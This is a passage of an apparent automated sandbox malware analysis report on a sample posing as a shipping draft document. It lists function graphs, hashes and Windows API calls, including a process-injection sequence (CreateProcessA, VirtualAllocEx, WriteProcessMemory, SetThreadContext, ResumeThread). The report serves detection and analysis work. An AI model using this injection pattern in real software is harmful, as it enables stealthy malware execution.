                                                                                        • Instruction Fuzzy Hash: 975157B09002098FDB14DFA9D988BDEBBF5EF48308F20C459E519A7390D7789984CF65
                                                                                        Function 07729A3C Relevance: 1.7, APIs: 1, Instructions: 245processCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 660 7729a3c-7729add 662 7729b16-7729b36 660->662 663 7729adf-7729ae9 660->663 668 7729b38-7729b42 662->668 669 7729b6f-7729b9e 662->669 663->662 664 7729aeb-7729aed 663->664 665 7729b10-7729b13 664->665 666 7729aef-7729af9 664->666 665->662 670 7729afb 666->670 671 7729afd-7729b0c 666->671 668->669 672 7729b44-7729b46 668->672 679 7729ba0-7729baa 669->679 680 7729bd7-7729c91 CreateProcessA 669->680 670->671 671->671 673 7729b0e 671->673 674 7729b48-7729b52 672->674 675 7729b69-7729b6c 672->675 673->665 677 7729b56-7729b65 674->677 678 7729b54 674->678 675->669 677->677 681 7729b67 677->681 678->677 679->680 682 7729bac-7729bae 679->682 691 7729c93-7729c99 680->691 692 7729c9a-7729d20 680->692 681->675 684 7729bb0-7729bba 682->684 685 7729bd1-7729bd4 682->685 686 7729bbe-7729bcd 684->686 687 7729bbc 684->687 685->680 686->686 689 7729bcf 686->689 687->686 689->685 691->692 702 7729d22-7729d26 692->702 703 7729d30-7729d34 692->703 702->703 704 7729d28 702->704 705 7729d36-7729d3a 703->705 706 7729d44-7729d48 703->706 704->703 705->706 707 7729d3c 705->707 708 7729d4a-7729d4e 706->708 709 7729d58-7729d5c 706->709 707->706 708->709 710 7729d50 708->710 711 7729d6e-7729d75 709->711 712 7729d5e-7729d64 709->712 710->709 713 7729d77-7729d86 711->713 714 7729d8c 711->714 712->711 713->714 716 7729d8d 714->716 716->716
                                                                                        APIs
                                                                                        • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07729C7E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateProcess
                                                                                        • String ID:
                                                                                        • API String ID: 963392458-0
                                                                                        • Opcode ID: d5d148570236a6d9534b32015e2526c901438d5270c42bb1b3a633c81235cfdc
                                                                                        • Instruction ID: cefcc32416d65e94ffdd5e9a0df7f319133d2066b4f0112489142512aaf7b5d5
                                                                                        • Opcode Fuzzy Hash: d5d148570236a6d9534b32015e2526c901438d5270c42bb1b3a633c81235cfdc
                                                                                        • Instruction Fuzzy Hash: B2918CB1D0022ACFDB10CF68C8417EDBBB2BF45340F1485AAD918B7250DB74A986DF91
                                                                                        Function 07729A48 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 717 7729a48-7729add 719 7729b16-7729b36 717->719 720 7729adf-7729ae9 717->720 725 7729b38-7729b42 719->725 726 7729b6f-7729b9e 719->726 720->719 721 7729aeb-7729aed 720->721 722 7729b10-7729b13 721->722 723 7729aef-7729af9 721->723 722->719 727 7729afb 723->727 728 7729afd-7729b0c 723->728 725->726 729 7729b44-7729b46 725->729 736 7729ba0-7729baa 726->736 737 7729bd7-7729c91 CreateProcessA 726->737 727->728 728->728 730 7729b0e 728->730 731 7729b48-7729b52 729->731 732 7729b69-7729b6c 729->732 730->722 734 7729b56-7729b65 731->734 735 7729b54 731->735 732->726 734->734 738 7729b67 734->738 735->734 736->737 739 7729bac-7729bae 736->739 748 7729c93-7729c99 737->748 749 7729c9a-7729d20 737->749 738->732 741 7729bb0-7729bba 739->741 742 7729bd1-7729bd4 739->742 743 7729bbe-7729bcd 741->743 744 7729bbc 741->744 742->737 743->743 746 7729bcf 743->746 744->743 746->742 748->749 759 7729d22-7729d26 749->759 760 7729d30-7729d34 749->760 759->760 761 7729d28 759->761 762 7729d36-7729d3a 760->762 763 7729d44-7729d48 760->763 761->760 762->763 764 7729d3c 762->764 765 7729d4a-7729d4e 763->765 766 7729d58-7729d5c 763->766 764->763 765->766 767 7729d50 765->767 768 7729d6e-7729d75 766->768 769 7729d5e-7729d64 766->769 767->766 770 7729d77-7729d86 768->770 771 7729d8c 768->771 769->768 770->771 773 7729d8d 771->773 773->773
                                                                                        APIs
                                                                                        • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07729C7E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateProcess
                                                                                        • String ID:
                                                                                        • API String ID: 963392458-0
                                                                                        • Opcode ID: 2e0ce567620d3f9ae0f3f49a3f5ddd5bc638e93533295ee051d61102c40e9028
                                                                                        • Instruction ID: d3ad26dc5e9261a9d5aa7797d4d39efbc4f6f30c1658fd731253a477f5c8353d
                                                                                        • Opcode Fuzzy Hash: 2e0ce567620d3f9ae0f3f49a3f5ddd5bc638e93533295ee051d61102c40e9028
                                                                                        • Instruction Fuzzy Hash: F5917CB1D0022ACFDB24CF68C8447EDBBB2BF45350F1485A9D918B7250DB74A986DF91
                                                                                        Function 02E0B2B7 Relevance: 1.7, APIs: 1, Instructions: 205COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 774 2e0b2b7-2e0b2d7 775 2e0b303-2e0b307 774->775 776 2e0b2d9-2e0b2e6 call 2e09d40 774->776 777 2e0b309-2e0b313 775->777 778 2e0b31b-2e0b35c 775->778 781 2e0b2e8 776->781 782 2e0b2fc 776->782 777->778 785 2e0b369-2e0b377 778->785 786 2e0b35e-2e0b366 778->786 829 2e0b2ee call 2e0b560 781->829 830 2e0b2ee call 2e0b550 781->830 782->775 788 2e0b379-2e0b37e 785->788 789 2e0b39b-2e0b39d 785->789 786->785 787 2e0b2f4-2e0b2f6 787->782 792 2e0b438-2e0b4f8 787->792 790 2e0b380-2e0b387 call 2e0af58 788->790 791 2e0b389 788->791 793 2e0b3a0-2e0b3a7 789->793 795 2e0b38b-2e0b399 790->795 791->795 824 2e0b500-2e0b52b GetModuleHandleW 792->824 825 2e0b4fa-2e0b4fd 792->825 796 2e0b3b4-2e0b3bb 793->796 797 2e0b3a9-2e0b3b1 793->797 795->793 799 2e0b3c8-2e0b3d1 call 2e0af68 796->799 800 2e0b3bd-2e0b3c5 796->800 797->796 805 2e0b3d3-2e0b3db 799->805 806 2e0b3de-2e0b3e3 799->806 800->799 805->806 808 2e0b401-2e0b405 806->808 809 2e0b3e5-2e0b3ec 806->809 831 2e0b408 call 2e0b860 808->831 832 2e0b408 call 2e0b832 808->832 809->808 810 2e0b3ee-2e0b3fe call 2e0af78 call 2e0af88 809->810 810->808 813 2e0b40b-2e0b40e 815 2e0b410-2e0b42e 813->815 816 2e0b431-2e0b437 813->816 815->816 826 2e0b534-2e0b548 824->826 827 2e0b52d-2e0b533 824->827 825->824 827->826 829->787 830->787 831->813 832->813
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 02E0B51E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule
                                                                                        • String ID:
                                                                                        • API String ID: 4139908857-0
                                                                                        • Opcode ID: 329d29a239397a6ad3e0b41a01750dfc483cd9c678823df7a9594fd087b26c6e
                                                                                        • Instruction ID: 67fd6917e03c36aee890ae3a90ca1efd908c5ede7731d5b12fc33e02fcf2e5c4
                                                                                        • Opcode Fuzzy Hash: 329d29a239397a6ad3e0b41a01750dfc483cd9c678823df7a9594fd087b26c6e
                                                                                        • Instruction Fuzzy Hash: 43816970A00B458FD724DF29D48079ABBF1FF48308F108A6DD08AD7A90D778E986CB91
                                                                                        Function 02E05DCC Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 942 2e05dcc-2e05e99 CreateActCtxA 944 2e05ea2-2e05efc 942->944 945 2e05e9b-2e05ea1 942->945 952 2e05f0b-2e05f0f 944->952 953 2e05efe-2e05f01 944->953 945->944 954 2e05f20 952->954 955 2e05f11-2e05f1d 952->955 953->952 957 2e05f21 954->957 955->954 957->957
                                                                                        APIs
                                                                                        • CreateActCtxA.KERNEL32(?), ref: 02E05E89
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: Create
                                                                                        • String ID:
                                                                                        • API String ID: 2289755597-0
                                                                                        • Opcode ID: 37e20492afa43e096dcff1112426129ef362c7758a9bd8cf5ee904601d2911c8
                                                                                        • Instruction ID: 3f085bad5e93b603821039660cae43b60dc0dc54ebc2a1c24fb52f945450f957
                                                                                        • Opcode Fuzzy Hash: 37e20492afa43e096dcff1112426129ef362c7758a9bd8cf5ee904601d2911c8
                                                                                        • Instruction Fuzzy Hash: 1C4113B0C00719CEDB25CFAAC884BDDBBB1BF49304F20806AD418AB255DB755986CF50
                                                                                        Function 02E04544 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 958 2e04544-2e05e99 CreateActCtxA 961 2e05ea2-2e05efc 958->961 962 2e05e9b-2e05ea1 958->962 969 2e05f0b-2e05f0f 961->969 970 2e05efe-2e05f01 961->970 962->961 971 2e05f20 969->971 972 2e05f11-2e05f1d 969->972 970->969 974 2e05f21 971->974 972->971 974->974
                                                                                        APIs
                                                                                        • CreateActCtxA.KERNEL32(?), ref: 02E05E89
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: Create
                                                                                        • String ID:
                                                                                        • API String ID: 2289755597-0
                                                                                        • Opcode ID: 9c1cdcf74b960fd26d8c9b1e6f52f0de06bc619ee9977e1b83cb2d2bd7f9719f
                                                                                        • Instruction ID: 0f86a0eda50d5120169bbfd91a2ad546bbe5937797269a517435588fa2bdfa69
                                                                                        • Opcode Fuzzy Hash: 9c1cdcf74b960fd26d8c9b1e6f52f0de06bc619ee9977e1b83cb2d2bd7f9719f
                                                                                        • Instruction Fuzzy Hash: BA41F4B1C00619CADB24DFAAC8847DEBBB5BF45704F20805AD518AB254DB756946CF90
                                                                                        Function 05917668 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 975 5917668-591768d call 591420c 978 59176a2-5917734 CreateIconFromResourceEx 975->978 979 591768f-591769f 975->979 983 5917736-591773c 978->983 984 591773d-591775a 978->984 983->984
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateFromIconResource
                                                                                        • String ID:
                                                                                        • API String ID: 3668623891-0
                                                                                        • Opcode ID: 18dba8cbbd2796e7706b093339c3dcbc61fe04fdb701fc9c07e4186e910b9488
                                                                                        • Instruction ID: b92d362e0e2a73365090f7937691ede92d82f44049bf7cb682e98e84909696c9
                                                                                        • Opcode Fuzzy Hash: 18dba8cbbd2796e7706b093339c3dcbc61fe04fdb701fc9c07e4186e910b9488
                                                                                        • Instruction Fuzzy Hash: F2317A729043599FCB11CFAAC844ADEBFF8EF49310F14805AE954A7221C339D954DFA5
                                                                                        Function 077297B8 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07729850
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MemoryProcessWrite
                                                                                        • String ID:
                                                                                        • API String ID: 3559483778-0
                                                                                        • Opcode ID: 244a82bab9a1e42c70bf9d623d86eb674b6f59ff2b7f227ffabe58b12be51d67
                                                                                        • Instruction ID: 7c04ce4029318d0273afa39ff05f03e3cb4b64fb975a2f64093babc673548503
                                                                                        • Opcode Fuzzy Hash: 244a82bab9a1e42c70bf9d623d86eb674b6f59ff2b7f227ffabe58b12be51d67
                                                                                        • Instruction Fuzzy Hash: F02148B19003599FCB10DFAAC885BEEBBF5FF48310F148429E918A7240C778A944DFA0
                                                                                        Function 0591419C Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,059167FD,?,?), ref: 059168AF
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: DrawText
                                                                                        • String ID:
                                                                                        • API String ID: 2175133113-0
                                                                                        • Opcode ID: b75df0e9330d6311b11c690471360c98e98a40c23e70e2576f1a68c0688f3863
                                                                                        • Instruction ID: bc8a11c95d2ac1675ebb2dc56486132cc6e8ac827b597601ae7fbb95612cc40c
                                                                                        • Opcode Fuzzy Hash: b75df0e9330d6311b11c690471360c98e98a40c23e70e2576f1a68c0688f3863
                                                                                        • Instruction Fuzzy Hash: 5E31C2B5D002199FDB10CF9AD884ADEFBF9FB48310F14846AE919A7710D778A944CFA4
                                                                                        Function 05916810 Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,059167FD,?,?), ref: 059168AF
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: DrawText
                                                                                        • String ID:
                                                                                        • API String ID: 2175133113-0
                                                                                        • Opcode ID: d25098cae3cab37247bb514b78c97981d73cb1f71fc4693ab7a6999180bc41ea
                                                                                        • Instruction ID: d8e82536dc901956538cf2548c84e10668adc996903edf1f94ae6dbc1dbdcc67
                                                                                        • Opcode Fuzzy Hash: d25098cae3cab37247bb514b78c97981d73cb1f71fc4693ab7a6999180bc41ea
                                                                                        • Instruction Fuzzy Hash: A031C0B5D002199FDB10CF9AD884ADEFBF9FB48310F14842AE919A7210D779A944CFA4
                                                                                        Function 077297C0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07729850
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MemoryProcessWrite
                                                                                        • String ID:
                                                                                        • API String ID: 3559483778-0
                                                                                        • Opcode ID: 2fa8c0778fcf0b71d6e2841786ef868ff0d4df0de28bbd1c2ebbd64911168be5
                                                                                        • Instruction ID: 98f87a25579cd94cf4182e92949c81dd2e0aff0e83edff2cbc8b5d6b2ee525e2
                                                                                        • Opcode Fuzzy Hash: 2fa8c0778fcf0b71d6e2841786ef868ff0d4df0de28bbd1c2ebbd64911168be5
                                                                                        • Instruction Fuzzy Hash: 9C2128B59003599FDB10DFAAC885BDEBBF5FF48310F148429E519A7240C778A945DFA0
                                                                                        Function 07729621 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077296A6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: ContextThreadWow64
                                                                                        • String ID:
                                                                                        • API String ID: 983334009-0
                                                                                        • Opcode ID: 26cc92ec723c8751ca080880f1732af7c097d8dec3244fdfe7725556f899087d
                                                                                        • Instruction ID: 4fe365fd9e331945b5dca64593e6370af65d6a928b56a3c4f2d7fc2fe4026261
                                                                                        • Opcode Fuzzy Hash: 26cc92ec723c8751ca080880f1732af7c097d8dec3244fdfe7725556f899087d
                                                                                        • Instruction Fuzzy Hash: B62125B19002198FDB10DFAAC485BEEBBF5EF88314F148429D519A7240DB78A945CFA4
                                                                                        Function 077298A9 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07729930
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MemoryProcessRead
                                                                                        • String ID:
                                                                                        • API String ID: 1726664587-0
                                                                                        • Opcode ID: 44a91f79b122ac9769acc9748885bc119f257c3f30202db7a93860634ea1b5b6
                                                                                        • Instruction ID: 3727ad8e96b6ef0b15eafaf80af765cbd6a9903e8c61fe1f62c297a464134900
                                                                                        • Opcode Fuzzy Hash: 44a91f79b122ac9769acc9748885bc119f257c3f30202db7a93860634ea1b5b6
                                                                                        • Instruction Fuzzy Hash: 61214AB1C002599FCB10DF9AC881AEEFBF5FF48310F508429E558A7240C738A941CFA4
                                                                                        Function 02E0D7A0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02E0D82F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: DuplicateHandle
                                                                                        • String ID:
                                                                                        • API String ID: 3793708945-0
                                                                                        • Opcode ID: aa8814dd8cf2e0550c0b99e67a8ba94a09554b4d4bf302b8b017400dce8751b3
                                                                                        • Instruction ID: 2641e9fb7f88acf400af2d0541cdfee0213049d676969b996a74b6b7ada5ea7a
                                                                                        • Opcode Fuzzy Hash: aa8814dd8cf2e0550c0b99e67a8ba94a09554b4d4bf302b8b017400dce8751b3
                                                                                        • Instruction Fuzzy Hash: 872103B5D002489FDB10CFAAD984AEEBFF4FB48310F14805AE918A3250C378A941CFA4
                                                                                        Function 07729628 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077296A6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: ContextThreadWow64
                                                                                        • String ID:
                                                                                        • API String ID: 983334009-0
                                                                                        • Opcode ID: 393d014c14876c5ce4650a1d89ec6fd71f4a76cc21288d1c77bc6e683266c8b4
                                                                                        • Instruction ID: 0055657dd6a4016a58d243434f7189d40afae9c8c44be1b62dc9c8bf60ab3cee
                                                                                        • Opcode Fuzzy Hash: 393d014c14876c5ce4650a1d89ec6fd71f4a76cc21288d1c77bc6e683266c8b4
                                                                                        • Instruction Fuzzy Hash: 012137B19002098FDB10DFAAC4857EEBBF5FF88314F148429D519A7240DB78A945CFA4
                                                                                        Function 077298B0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07729930
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MemoryProcessRead
                                                                                        • String ID:
                                                                                        • API String ID: 1726664587-0
                                                                                        • Opcode ID: 32cbcf858bb962c5c77a3f1566934fe37e1c517460aed0e2de520eeaa09919fb
                                                                                        • Instruction ID: 529f567af55fdb93b462d699849d796f1ca90f382cc8fe33f375e61dafd438e3
                                                                                        • Opcode Fuzzy Hash: 32cbcf858bb962c5c77a3f1566934fe37e1c517460aed0e2de520eeaa09919fb
                                                                                        • Instruction Fuzzy Hash: D02128B1C002599FDB10DFAAC881AEEFBF5FF48320F508429E559A7250C738A941DFA4
                                                                                        Function 02E0D7A8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02E0D82F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: DuplicateHandle
                                                                                        • String ID:
                                                                                        • API String ID: 3793708945-0
                                                                                        • Opcode ID: 17f7e398c5645945a502b43336e712b14bf8ff62fbc2fa5964590724e77a857c
                                                                                        • Instruction ID: 84e60ee6817aceec0a494347c93a7a009c8c18da427fc456560321b01893a892
                                                                                        • Opcode Fuzzy Hash: 17f7e398c5645945a502b43336e712b14bf8ff62fbc2fa5964590724e77a857c
                                                                                        • Instruction Fuzzy Hash: FD21C2B59002489FDB10CFAAD984ADEFBF9FB48710F14845AE918A7350D378A944CFA5
                                                                                        Function 077296F8 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0772976E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: AllocVirtual
                                                                                        • String ID:
                                                                                        • API String ID: 4275171209-0
                                                                                        • Opcode ID: c8370da8b49b5c267d34fbd192ec53f538b82174a900605e0bf18910fdaabff9
                                                                                        • Instruction ID: 3bc886a0c58299dde74ba90aafe596f99f07e819a93f7e6588d79195c969bacb
                                                                                        • Opcode Fuzzy Hash: c8370da8b49b5c267d34fbd192ec53f538b82174a900605e0bf18910fdaabff9
                                                                                        • Instruction Fuzzy Hash: DE1144B59002499FCB10DFAAC845AEEBFF5FF88320F148819E519A7250C779A940DFA0
                                                                                        Function 0591420C Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,05917682,?,?,?,?,?), ref: 05917727
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateFromIconResource
                                                                                        • String ID:
                                                                                        • API String ID: 3668623891-0
                                                                                        • Opcode ID: 454a7d6cc53726ae0ba724a9a2a92514d7f2cfa833ca0c4190cedad2da048d89
                                                                                        • Instruction ID: 08b2541bc067f3f5f2417252b8065a28ca7e70535718a3b621ae518afaa0a411
                                                                                        • Opcode Fuzzy Hash: 454a7d6cc53726ae0ba724a9a2a92514d7f2cfa833ca0c4190cedad2da048d89
                                                                                        • Instruction Fuzzy Hash: FD1156B590024D9FDB10CF9AC844BEEBFF8EB48310F14841AE914A7210C339A990CFA4
                                                                                        Function 07729700 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0772976E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: AllocVirtual
                                                                                        • String ID:
                                                                                        • API String ID: 4275171209-0
                                                                                        • Opcode ID: 950f98c184c2662ed4a5d0257492bf984fbf6e9030a58295a44d83d13e567f59
                                                                                        • Instruction ID: 2a52df90b6b34b4211ac95d24b1e9ca021d8278b6035fdb9685a8fad6566449d
                                                                                        • Opcode Fuzzy Hash: 950f98c184c2662ed4a5d0257492bf984fbf6e9030a58295a44d83d13e567f59
                                                                                        • Instruction Fuzzy Hash: AF1137B58002499FDB10DFAAC845AEEFFF5FF88310F148819E519A7250C779A940DFA0
                                                                                        Function 07729138 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: ResumeThread
                                                                                        • String ID:
                                                                                        • API String ID: 947044025-0
                                                                                        • Opcode ID: d5854f117589b046cccc83764ff21f2d65a101c6db89310d73d36beec4f58bef
                                                                                        • Instruction ID: c3f1f41dc64b3ad05ba1170bcc9081ac6f2b76063e8685ad9af4cffa42969a09
